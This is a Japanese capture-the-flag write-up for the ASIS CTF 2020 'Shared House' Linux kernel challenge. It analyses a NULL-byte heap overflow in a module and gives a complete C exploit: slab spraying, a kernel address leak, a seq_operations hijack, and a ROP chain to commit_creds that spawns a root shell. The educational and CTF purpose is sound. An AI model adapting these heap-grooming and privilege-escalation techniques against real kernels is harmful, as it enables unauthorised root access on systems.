イントロ
いつぞや開催されたASIS CTF 2020 Quals。そのkernel exploit問題であるShared Houseを解いていく。割とベーシックな問題。
本 exploit はCVE-2016-6187(off-by-one NULL-byte overflow)の exploit を主に参考にしている。この脆弱性は本問題と割と似ている。この CVE の exploit は非常に丁寧でわかりやすいため一読の価値あり(5 年前のだけどそんなにふるさは感じない)。
static analysis
1/ $ cat /proc/version
2Linux version 4.19.98 (ptr@medium-pwn) (gcc version 8.3.0 (Buildroot 2019.11-git-00204-gc2417843c8)) #14 SMP Fri Jun 12 15:19:48 JST 2020
3
4qemu-system-x86_64 \
5 -m 256M \
6 -kernel ./bzImage \
7 -initrd ./rootfs.cpio \
8 -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr pti=off quiet" \
9 -cpu qemu64,+smep \
10 -monitor /dev/null \
11 -nographic
12
13$ modinfo ./note.ko
14filename: /home/wataru/Documents/ctf/asis2020quals/shared_house/work/./note.ko
15description: ASIS CTF Quals 2020
16author: ptr-yudai
17license: GPL
18depends:
19retpoline: Y
20name: note
21vermagic: 4.19.98 SMP mod_unload
SMEP 有効・SMAP 無効・KPTI 無効・oops->panic・シングルコア
(これvermagic
にSMP
って書いてあるけど、ほんとに SMP 有効なんかな。__per_cpu_offset
無かったけど)
commands
commands.c 10xC12ED002: SH_FREE
2 if note is not NULL then
3 kfree(note);
4 note = NULL;
50xC12ED001: SH_ALLOC
6 if query.size <= 0x80 then
7 size = query.size;
8 note = kmalloc(size, GPF_KERNEL);
90xC12ED003: SH_WRITE
10 if query.size <= size then
11 _copy_from_user(note, query.size);
12 note[buf.size] = '\0';
130xC12ED004: SH_READ
14 if note is not NULL and query.size <= size then
15 _copy_to_user(query.buf);
globals
globals.sh1char *note; // user指定のsizeだけの容量
2int size; // user指定のsize
structures
structures.c1struct query{
2 int size;
3 int NOUSE; // ulong sizeでいいわ
4 char *buf;
5}
vuln
NULL byte overflow in kmalloc-8 ~ kmalloc-128
vuln.c 1 if (command == 0xc12ed003) {
2 if (note != (char *)0x0) {
3 if (buf.size <= size) {
4 lVar1 = _copy_from_user(note,buf.buf);
5 if (lVar1 == 0) {
6 note[buf.size] = '\0';
7 goto LAB_00100107;
8 }
9 }
10 }
まず確認
NULL-byte overflow があるから object の next ポインタを書き換えるんだろうが、CONFIG_SLAB_FREELIST_HARDENED
/CONFIG_SLAB_FREELIST_RANDOM
があると hoge だし、そもそもにkmem_cache.offset
がノンゼロだと書き換えることすらできないから check it out.
1Breakpoint 1, 0xffffffffc0000000 in ?? () # ioctl()
2(gdb) hb *0xffffffff810eda10 # kmalloc_slab
3Hardware assisted breakpoint 2 at 0xffffffff810eda10
4(gdb) c
5Continuing.
6Breakpoint 2, 0xffffffff810eda10 in ?? () # kmalloc_slab()
7(gdb) p/x $rdi # 0x30サイズで呼び出したからこれが目的
8$1 = 0x30
9(gdb) fin
10Run till exit from #0 0xffffffff810eda10 in ?? ()
110xffffffff81111520 in ?? ()
12(gdb) p/x $rax
13$2 = 0xffff88800f001b00 # kmalloc-64
14(gdb) symbol-file ./vmlinux # 型情報だけ欲しいから自前vmlinux読む
15Reading symbols from ./vmlinux...
16(gdb) lx-symbols
17loading vmlinux
18(gdb) p *(struct kmem_cache*)$rax
19$3 = {cpu_slab = 0x20200 <ftrace_stacks+6816>, flags = 1073741824, min_partial = 5, size = 64, object_size = 64, reciprocal_size = {m = 0, sh1 = 30 '\036', sh2 = 0 '\000'}, offset = 64, oo = {x = 64}, max = {
20 x = 64}, min = {x = 0}, allocflags = 1, refcount = 0, ctor = 0x0 <fixed_percpu_data>, inuse = 64, align = 8, red_left_pad = 0,
21 name = 0xffffffff81b01e2e <ieee80211_tdls_build_mgmt_packet_data+318> "kmalloc-64", list = {next = 0xffff88800f001c60, prev = 0xffff88800f001a60}, kobj = {
22 name = 0xffffffff81b01e2e <ieee80211_tdls_build_mgmt_packet_data+318> "kmalloc-64", entry = {next = 0xffff88800f001c78, prev = 0xffff88800f001a78}, parent = 0xffff88800f1d8378, kset = 0xffff88800f1d8360,
23 ktype = 0xffffffff81c35ac0 <__entry_text_end+214374>, sd = 0xffff88800eb62a18, kref = {refcount = {refs = {counter = 1}}}, state_initialized = 1, state_in_sysfs = 1, state_add_uevent_sent = 1,
24 state_remove_uevent_sent = 0, uevent_suppress = 0}, remote_node_defrag_ratio = 4294967264, useroffset = 15, usersize = 251665336, node = {0xffff88800f001bb8, 0xffffffff8110f830 <audit_add_watch+320>,
25 0x4000000000, 0xffff88800f000f00, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x201e0 <ftrace_stacks+6784>, 0x40000000, 0x5 <fixed_percpu_data+5>,
26 0x2000000020, 0x1e00000000, 0x8000000080, 0x80, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x800000020, 0x0 <fixed_percpu_data>, 0xffffffff81b01e23 <ieee80211_tdls_build_mgmt_packet_data+307>,
27 0xffff88800f001d60, 0xffff88800f001b60, 0xffffffff81b01e23 <ieee80211_tdls_build_mgmt_packet_data+307>, 0xffff88800f001d78, 0xffff88800f001b78, 0xffff88800f1d8378, 0xffff88800f1d8360,
28 0xffffffff81c35ac0 <__entry_text_end+214374>, 0xffff88800eb63aa0, 0x700000001, 0xfffffffe0, 0xffff88800f001cb8, 0xffff88800f001cb8, 0xffffffff8110f830 <audit_add_watch+320>, 0x2000000000,
29 0xffff88800f000f40, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x201c0 <ftrace_stacks+6752>, 0x40000000, 0x5 <fixed_percpu_data+5>, 0x1000000010,
30 0x1e00000000, 0x10000000100, 0x100, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x800000010, 0x0 <fixed_percpu_data>, 0xffffffff81b01e18 <ieee80211_tdls_build_mgmt_packet_data+296>,
31 0xffff88800f001e60, 0xffff88800f001c60, 0xffffffff81b01e18 <ieee80211_tdls_build_mgmt_packet_data+296>, 0xffff88800f001e78, 0xffff88800f001c78, 0xffff88800f1d8378, 0xffff88800f1d8360,
32 0xffffffff81c35ac0 <__entry_text_end+214374>, 0xffff88800eb64b28, 0x700000001, 0xfffffffe0, 0xffff88800f001db8}}
offset
が 64 になっているため各 object の 0byte 目に next の pointer が入ることが分かる。実際に見てみると以下のとおり。
1(gdb) p/x *(struct kmem_cache_cpu*)(0x20200 + $gs_base)
2$3 = {
3 freelist = 0xffff88800e666100,
4 tid = 0x108b,
5 page = 0xffffea0000399980
6}
7(gdb) x/50gx 0xffff88800e666100
80xffff88800e666100: 0xffff88800e666140 0x00000021646c726f
90xffff88800e666110: 0x0000000000000000 0x0000000000000000
100xffff88800e666120: 0x0000000000000000 0x0000000000000000
110xffff88800e666130: 0x0000000000000000 0x0000000000000000
120xffff88800e666140: 0xffff88800e666180 0x00e800000000c7c7
130xffff88800e666150: 0x3110c48348000000 0x003d8b48c35d5bc0
140xffff88800e666160: 0x8d74ff8548000000 0x000000153be8558b
150xffff88800e666170: 0xe8f0758b48827700 0x0fc0854800000000
160xffff88800e666180: 0xffff88800e6661c0 0xc600000000158b48
170xffff88800e666190: 0x3d8b48b2eb000204 0x0fff854800000000
180xffff88800e6661a0: 0x0000e8ffffff5084 0x00000005c7480000
190xffff88800e6661b0: 0x4890eb0000000000 0x45e9ffffffeac0c7
200xffff88800e6661c0: 0xffff88800e666200 0x55ffffff39e9ffff
210xffff88800e6661d0: 0x000000c1c748f631 0xc74800000001ba00
220xffff88800e6661e0: 0xe5894800000000c7 0xc08500000000e853
230xffff88800e6661f0: 0x000000c7c7481374 0x00e8fffffff0bb00
240xffff88800e666200: 0xffff88800e666240 0x00c7c74800000000
250xffff88800e666210: 0x00000000e8000000 0x01ba00000000358b
260xffff88800e666220: 0x0000c7c748000000 0x00000005c7480000
270xffff88800e666230: 0x0000e80000000000 0x2374c389c0850000
280xffff88800e666240: 0xffff88800e666280 0x000000e8fffffff0
290xffff88800e666250: 0xbe000000003d8b00 0x000000e800000001
300xffff88800e666260: 0x0000c2c7481aeb00 0x000000c6c7480000
310xffff88800e666270: 0x00000000c7c74800 0x5bd88900000000e8
320xffff88800e666280: 0xffff88800e6662c0 0x0000e8e589480000
freelist
のランダマイズもされていないし、ポインタの難読化もされていない。良さそう。
kernbase leak
subprocess_info
参考.3 の kernel 構造体集を参照して、kmalloc-128以下で kernbase が leak できるものを探す。但し、その構造体を利用する際に本モジュールの object と victim object が隣接するように新規ページ(スラブ)を利用するように調節(heap spray)する必要があり、leak に使う構造体と同一サイズのスラブを利用して任意の回数 alloc できる構造体も存在していなければならない(しかも、それはsetxattr
のように確保と同一パスで解放されてはならない)。
この条件のもとで、spray にはstruct msg_msg
(kmalloc-64~)を、kernbase leak にはstruct subprocess_info
(kmalloc-128)を利用できる。
こいつは、参考.1 の通りsocket(22,AF_INET,0)
のように呼んだ時に__sock_create()
から呼ばれるrequest_module()
(実体はcall_modprobe()
またはその内側で呼ばれるcall_usermodehelper_setup()
)において確保される。この際に、work.func
にcall_usermodehelper_exec_work()
が入るためこれが leak 可能となる。
1 struct subprocess_info *sub_info;
2 sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
3 if (!sub_info)
4 goto out;
5
6 INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);
また、同一パスでcall_usermodehelper_exec()
において最終的にcall_usemodehelper_freeinfo()
が呼ばれ、info->cleanup(info)
を呼んだ後に解放される。
1static void call_usermodehelper_freeinfo(struct subprocess_info *info)
2{
3 if (info->cleanup)
4 (*info->cleanup)(info);
5 kfree(info);
6}
まずはこの構造体を使って leak を行う。具体的にはsubprocess_info
の先頭から0x18byte 目に先程の関数ポインタが入っているから、これを leak する。total sizeは*0x60(<0x80)*ゆえ、kmalloc-128に入る。
heap spray
NULL-byte overflow して書き換える victim が隣接した object になるように、新しいスラブ(ページ)を使いたい。まずはrootで該当スラブの初期状態を確認。
slab-info.sh1/ # cat /proc/slabinfo | grep ^kmalloc-128
2kmalloc-128 256 256 128 32 1 : tunables 0 0 0 : slabdata 8 8 0
あれ、この段階ですでにスラブは満杯になってるんかな。と思ったけど、実際にデバッグしてみると 0x5 回 alloc した時に新たにスラブが作られた。まあ正直完全に新品である必要はないから、1 スラブあたりの最大オブジェクト数である 0x20 回+α くらい alloc しておいたら良いと思う。まあ今回は 0x5 回+α の 0xF 回 alloc したところいい感じになった。
これで、object 丁度のサイズを_write()
すれば NULL-byte overflow が起こりfreelist
は以下のようになる。
freelist
の next
(0xFFFF80800E69B100
)が自分自身を指していることが分かる。ここですぐにsubprocess_info
を割り当ててしまうと、subprocess_info
の先頭ワードが next となり、ヒープが崩壊してしまう。よって、一度note
を解放してmsgsnd()
で object1 つ分をパディングした後、循環する object(0xFFFF80800E69B100)にnote
を書く。その際に先頭 1word を NULL にしておくことで、freelist
は NULL になり、次のkmem_cache_alloc()
時(freelist
にはnote
を alloc した時点でnote
のアドレスが書き込まれているため、厳密には次の次)には正常に新しいスラブを確保してくれることになる。
socket()
を呼び出す直前のスラブの状態は以下のとおりである。0x58が入っているのはnote
である。freelist
にはnote
のアドレスが入っているものの、note
の先頭が 0 であるから、次のsocket
呼び出し時にsubprocess_info
を alloc する同時に新しいスラブが割り当てられる。実際、以下のようになって、新しいスラブになっていることが分かる(下 3nibble が 000)。
あとはnote
とオーバーラップしたsubprocess_info
を読めば kernbase の leak 完了。
RIP を取る
cleanup + usefaultfd (FAIL)
前述したように、subprocess_info
は解放時にsubprocess_info.cleanup()
をするため、これを上書きすることができれば RIP が取れる。方法として参考.1
ではsubprocess_info
がページをまたがって確保されるようにし、前者と後者それぞれにuserfaultfd
を設定することで上手くcleanup
が任意の値に操作できるようにしている。但し、kmalloc-128を利用する以上はオブジェクトはページをまたがって確保されることはない。
よって、先程freelist
が NULL になるように調整したが、これを userland の mmap したアドレスを指すようにしたらfreelist
がユーザ領域を指すようになって自由にわいわいできるんじゃないかと考えた。けど、フォルトで死んだ。SMAP 無効で KPTI 無効(SMEP のみ有効)な場合も、こういうのってダメなんだっけ?????
諦めて素直に seq_operations
素直に生きましょう。
seq_operations
はkmalloc-32に入る。
1/ # cat /proc/slabinfo | grep ^kmalloc-32
2kmalloc-32 512 512 32 128 1 : tunables 0 0 0 : slabdata 4 4 0
1 スラブあたり 0x80 オブジェクトだから、まぁこれ+α くらい alloc しておけば大丈夫そう。以下が 0x80 回 alloc した後の図。
NULL-byte overflow で next を書き換えることを考えると、0xffff88800e6a1420となっているところを書き換えたい。というわけで、alloc する回数を微調整しつつ、victim となるseq_operations
を alloc する直前の状態が以下のとおり。
0xffff88800e692410はnote
が割り当てられているが、freelist
からも指されていることが分かる。この際、note の中身を NULL にしておかないと、それが freelist の次の object だと認識されてヒープが壊れるので、NULL にしておく。
(author’s writeup では kernel heap を leak していたが、この方法でやればheap の leak は必要ない)
これで、read()
をすれば RIP が取れる。
ROP chain
あとは、ROP で終わり。ROP をするためには RSP を制御できる必要がある。SP を制御できるガジェットは以下の通りで、この中から下 1nibble が 8-align されている適当なものを選ぶ。(適当と言っても、この内 9 割くらいは実際に見てみると0xcc命令に置き換わっている、なんで)
sp_gad.sh 1$ rp++ -f ./vmlinux --unique -r1 | grep "mov esp"
20xffffffff81cb0980: mov esp, 0x0000002C ; call rax ; (1 found)
30xffffffff81e312bb: mov esp, 0x00F461F3 ; retn 0x901F ; (1 found)
40xffffffff814cd63b: mov esp, 0x01000005 ; ret ; (1 found)
50xffffffff810589b3: mov esp, 0x01428DD2 ; ret ; (1 found)
60xffffffff812326ba: mov esp, 0x09B8550B ; retn 0x850F ; (1 found)
70xffffffff8104a73a: mov esp, 0x09E0D3C9 ; retn 0x8966 ; (1 found)
80xffffffff81e5a1ed: mov esp, 0x0A6805DD ; ret ; (1 found)
90xffffffff81d95b1e: mov esp, 0x0B0AAD86 ; retn 0x962F ; (1 found)
100xffffffff81dbc583: mov esp, 0x0F0B0C00 ; retn 0xC095 ; (1 found)
110xffffffff8148dc49: mov esp, 0x0F4881A6 ; retn 0x66C3 ; (1 found)
120xffffffff81dec325: mov esp, 0x131D832C ; ret ; (1 found)
130xffffffff81e3d509: mov esp, 0x144714DE ; ret ; (1 found)
140xffffffff81e55754: mov esp, 0x15CE2A03 ; ret ; (1 found)
150xffffffff81dff9cc: mov esp, 0x15FF851B ; retn 0x7EB1 ; (1 found)
160xffffffff81dd79b7: mov esp, 0x167C22B7 ; retn 0x9847 ; (2 found)
170xffffffff81dc56bb: mov esp, 0x1BD15533 ; call rcx ; (1 found)
18(snipped...)
あとはいい感じに chain を組む。今回は no-KPTI。iretqは以下の通り 。
iretq.c 1PROTECTED-MODE:
2 IF NT = 1
3 THEN GOTO TASK-RETURN; (* PE = 1, VM = 0, NT = 1 *)
4 FI;
5 IF OperandSize = 32
6 THEN
7 EIP ← Pop();
8 CS ← Pop(); (* 32-bit pop, high-order 16 bits discarded *)
9 tempEFLAGS ← Pop();
10 ELSE (* OperandSize = 16 *)
11 EIP ← Pop(); (* 16-bit pop; clear upper bits *)
12 CS ← Pop(); (* 16-bit pop *)
13 tempEFLAGS ← Pop(); (* 16-bit pop; clear upper bits *)
14 FI;
15 IF tempEFLAGS(VM) = 1 and CPL = 0
16 THEN GOTO RETURN-TO-VIRTUAL-8086-MODE;
17 ELSE GOTO PROTECTED-MODE-RETURN;
18 FI;
19TASK-RETURN: (* PE = 1, VM = 0, NT = 1 *)
20 SWITCH-TASKS (without nesting) to TSS specified in link field of current TSS;
21 Mark the task just abandoned as NOT BUSY;
22 IF EIP is not within CS limit
23 THEN #GP(0); FI;
24END;
exploit
exploit.c 1#define _GNU_SOURCE
2#include <string.h>
3#include <stdio.h>
4#include <fcntl.h>
5#include <stdint.h>
6#include <unistd.h>
7#include <assert.h>
8#include <stdlib.h>
9#include <signal.h>
10#include <poll.h>
11#include <pthread.h>
12#include <err.h>
13#include <errno.h>
14#include <sched.h>
15#include <linux/bpf.h>
16#include <linux/filter.h>
17#include <linux/userfaultfd.h>
18#include <linux/prctl.h>
19#include <sys/syscall.h>
20#include <sys/ipc.h>
21#include <sys/msg.h>
22#include <sys/prctl.h>
23#include <sys/ioctl.h>
24#include <sys/mman.h>
25#include <sys/types.h>
26#include <sys/xattr.h>
27#include <sys/socket.h>
28#include <sys/uio.h>
29
30
31// commands
32#define DEV_PATH "/dev/note" // the path the device is placed
33
34// constants
35#define PAGE 0x1000
36#define FAULT_ADDR 0xdead0000
37#define FAULT_OFFSET PAGE
38#define MMAP_SIZE 4*PAGE
39#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
40// (END constants)
41
42
43// utils
44#define WAIT getc(stdin);
45#define ulong unsigned long
46#define uint unsigned int
47#define scu static const ulong
48#define NULL (void*)0
49#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
50 } while (0)
51#define KMALLOC(qid, msgbuf, N) assert(sizeof(msgbuf.mtext) > 0x30); \
52 for(int ix=0; ix!=N; ++ix){\
53 if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
54ulong user_cs,user_ss,user_sp,user_rflags;
55struct pt_regs {
56 ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
57 ulong bx; ulong r11; ulong r10; ulong r9; ulong r8;
58 ulong ax; ulong cx; ulong dx; ulong si; ulong di;
59 ulong orig_ax; ulong ip; ulong cs; ulong flags;
60 ulong sp; ulong ss;
61};
62void print_regs(struct pt_regs *regs)
63{
64 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
65 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
66 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
67 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
68 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
69}
70void NIRUGIRI(void)
71{
72 char *argv[] = {"/bin/sh",NULL};
73 char *envp[] = {NULL};
74 execve("/bin/sh",argv,envp);
75}
76// should compile with -masm=intel
77static void save_state(void) {
78 asm(
79 "movq %0, %%cs\n"
80 "movq %1, %%ss\n"
81 "movq %2, %%rsp\n"
82 "pushfq\n"
83 "popq %3\n"
84 : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) :: "memory"
85 );
86}
87
88static void shellcode(void){
89 asm(
90 "xor rdi, rdi\n"
91 "mov rbx, QWORD PTR [rsp+0x50]\n"
92 "sub rbx, 0x244566\n"
93 "mov rcx, rbx\n"
94 "call rcx\n"
95 "mov rdi, rax\n"
96 "sub rbx, 0x470\n"
97 "call rbx\n"
98 "add rsp, 0x20\n"
99 "pop rbx\n"
100 "pop r12\n"
101 "pop r13\n"
102 "pop r14\n"
103 "pop r15\n"
104 "pop rbp\n"
105 "ret\n"
106 );
107}
108// (END utils)
109
110// (shared_house)
111#define SH_ALLOC 0xC12ED001
112#define SH_FREE 0xC12ED002
113#define SH_WRITE 0xC12ED003
114#define SH_READ 0xC12ED004
115
116#define FAIL1 0xffffffffffffffa
117#define FAIL2 0xfffffffffffffff
118
119struct query{
120 ulong size;
121 char *buf;
122};
123
124#define INF 1<<31
125int shfd;
126int statfd;
127uint current_size = INF;
128
129
130void _alloc(uint size){
131 printf("[+] alloc: %x\n", size);
132 assert(size <= 0x80);
133 struct query q = {
134 .size = size
135 };
136 int tmp = ioctl(shfd, SH_ALLOC, &q);
137 assert(tmp!=FAIL1 && tmp!=FAIL2);
138 current_size = size;
139}
140
141void _free(void){
142 printf("[+] free\n");
143 assert(current_size != INF);
144 struct query q = {
145 };
146 int tmp = ioctl(shfd, SH_FREE, &q);
147 assert(tmp!=FAIL1 && tmp!=FAIL2);
148 current_size = INF;
149}
150
151void _write(char *buf, uint size){
152 printf("[+] write: %p %x\n", buf, size);
153 assert(current_size != INF && size <= current_size);
154 assert(current_size != -1);
155 struct query q = {
156 .buf = buf,
157 .size = size
158 };
159 int tmp = ioctl(shfd, SH_WRITE, &q);
160 assert(tmp!=FAIL1 && tmp!=FAIL2);
161}
162
163void _read(char *buf, uint size){
164 printf("[+] read: %p %x\n", buf, size);
165 assert(current_size != INF && size <= current_size);
166 struct query q = {
167 .buf = buf,
168 .size = size
169 };
170 int tmp = ioctl(shfd, SH_READ, &q);
171 assert(tmp!=FAIL1 && tmp!=FAIL2);
172}
173// (END shared_house)
174
175/*********** MAIN *********************************/
176
177struct _msgbuf80{
178 long mtype;
179 char mtext[0x80];
180};
181
182void gen_chain(ulong **a, const ulong kernbase)
183{
184 scu pop_rdi = 0x11c353;
185 scu prepare_kernel_cred = 0x69e00;
186 scu rax2rdi_rep_pop_rbp = 0x1877F; // 0xffffffff8101877f: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (1 found)
187 scu commit_creds = 0x069c10; // 0xffffffff81069c10
188 scu pop_rcx = 0x368fa; // 0xffffffff810368fa: pop rcx ; ret ; (53 found)
189 scu pop_r11 = 0xe12090; // 0xffffffff81e12090: pop r11 ; ret ; (2 found)
190 scu swapgs_pop_rbp = 0x03ef24; // 0xffffffff8103ef24: 0f 01 f8 swapgs
191 scu iretq_pop_rbp = 0x1d5c6; // 0xffffffff8101d5c6: 48 cf iretq
192
193 save_state();
194
195 *a++ = pop_rdi + kernbase;
196 *a++ = 0;
197 *a++ = prepare_kernel_cred + kernbase;
198 *a++ = pop_rcx + kernbase;
199 *a++ = 0;
200 *a++ = rax2rdi_rep_pop_rbp + kernbase;
201 *a++ = 0;
202 *a++ = commit_creds + kernbase;
203
204 *a++ = swapgs_pop_rbp + kernbase;
205 *a++ = 0;
206 *a++ = iretq_pop_rbp + kernbase;
207 *a++ = &NIRUGIRI;
208 *a++ = user_cs;
209 *a++ = user_rflags;
210 *a++ = user_sp;
211 *a++ = user_ss;
212
213 *a++ = 0xdeadbeef; // unreachable
214}
215
216int main(int argc, char *argv[]) {
217 char buf[0x1000];
218 shfd = open(DEV_PATH, O_RDWR);
219 assert(shfd >= 0);
220
221 int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
222 if(qid == -1) errExit("msgget");
223 struct _msgbuf80 msgbuf = { .mtype = 1 };
224 KMALLOC(qid, msgbuf, 0xF);
225
226 _alloc(0x80);
227 memset(buf, 'X', 0x80);
228 _write(buf, 0x80); // vuln
229
230 _free();
231 KMALLOC(qid, msgbuf, 0x1);
232 memset(buf, 0, 0x8);
233 //*((ulong*)buf) = (ulong)maddr;
234 _alloc(0x80);
235 _write(buf, 0x80);
236 assert(socket(22, AF_INET, 0) < 0); // overlap subprocess_info
237 _read(buf, 0x80);
238 const ulong call_usermodehelper_exec_work = ((ulong*)buf)[0x18/sizeof(ulong)];
239 printf("[!] call_usermodehelper_exec_work: 0x%lx\n", call_usermodehelper_exec_work);
240 const ulong kernbase = call_usermodehelper_exec_work - (0xffffffff81060160 - 0xffffffff81000000);
241 printf("[!] kernbase: 0x%lx\n", kernbase);
242 _free();
243
244 for(int ix=0; ix!=0x82; ++ix){
245 statfd = open("/proc/self/stat", O_RDONLY);
246 assert(statfd > 0);
247 }
248 _alloc(0x20);
249 memset(buf, 'x', 0x20);
250 _write(buf, 0x20); // vuln
251 _free();
252 statfd = open("/proc/self/stat", O_RDONLY); // dummy
253 _alloc(0x20);
254 statfd = open("/proc/self/stat", O_RDONLY); // victim
255
256 *((ulong*)buf) = kernbase + 0x05832b;
257 _write(buf, 0x20);
258
259 // prepare chain
260 const ulong gadstack = 0x83C389C0;
261 const char *maddr = mmap((void*)(gadstack & ~0xFFF), 4*PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
262 printf("[+] mmapped @ %p\n", maddr);
263 const char *chain = maddr + (gadstack & 0xFFF);
264 gen_chain(chain, kernbase);
265
266 // NIRUGIRI
267 read(statfd, buf, 1);
268
269 return 0;
270}
アウトロ
もうすぐ春ですね。
symbols without KASLR
symbols.txt1ioctl: 0xffffffffc0000000
2kmem_cache_alloc: 0xffffffff81111610
3__kmalloc: 0xffffffff81111500
4kmalloc_slab: 0xffffffff810eda10
5kmalloc-128's cpu_slab: 0x20240
6kmalloc-32's cpu_slab: 0x201e0
7prepare_kernel_cred: 0xffffffff81069e00
8commit_creds: 0xffffffff81069c10
シンボル__per_cpu_offset
がなかったから SMP じゃないと思ったけど、モジュール情報では SMP になってるしどうなんだろうなぁ。(因みに__per_cpu_offset
が無い時の CPU 固有アドレスは、$gs_base + CPU固有ポインタ
で計算される)
参考
- CVE-2016-6187 の exploit: https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit
- author’s writeup: https://ptr-yudai.hatenablog.com/entry/2020/07/06/000622#354pts-Shared-House-7-solves
- author’s portfolio: https://youtu.be/kgeG9kXFb0A
- kernelpwn で使える構造体 refs: https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628
- ニルギリ: https://youtu.be/yvUvamhYPHw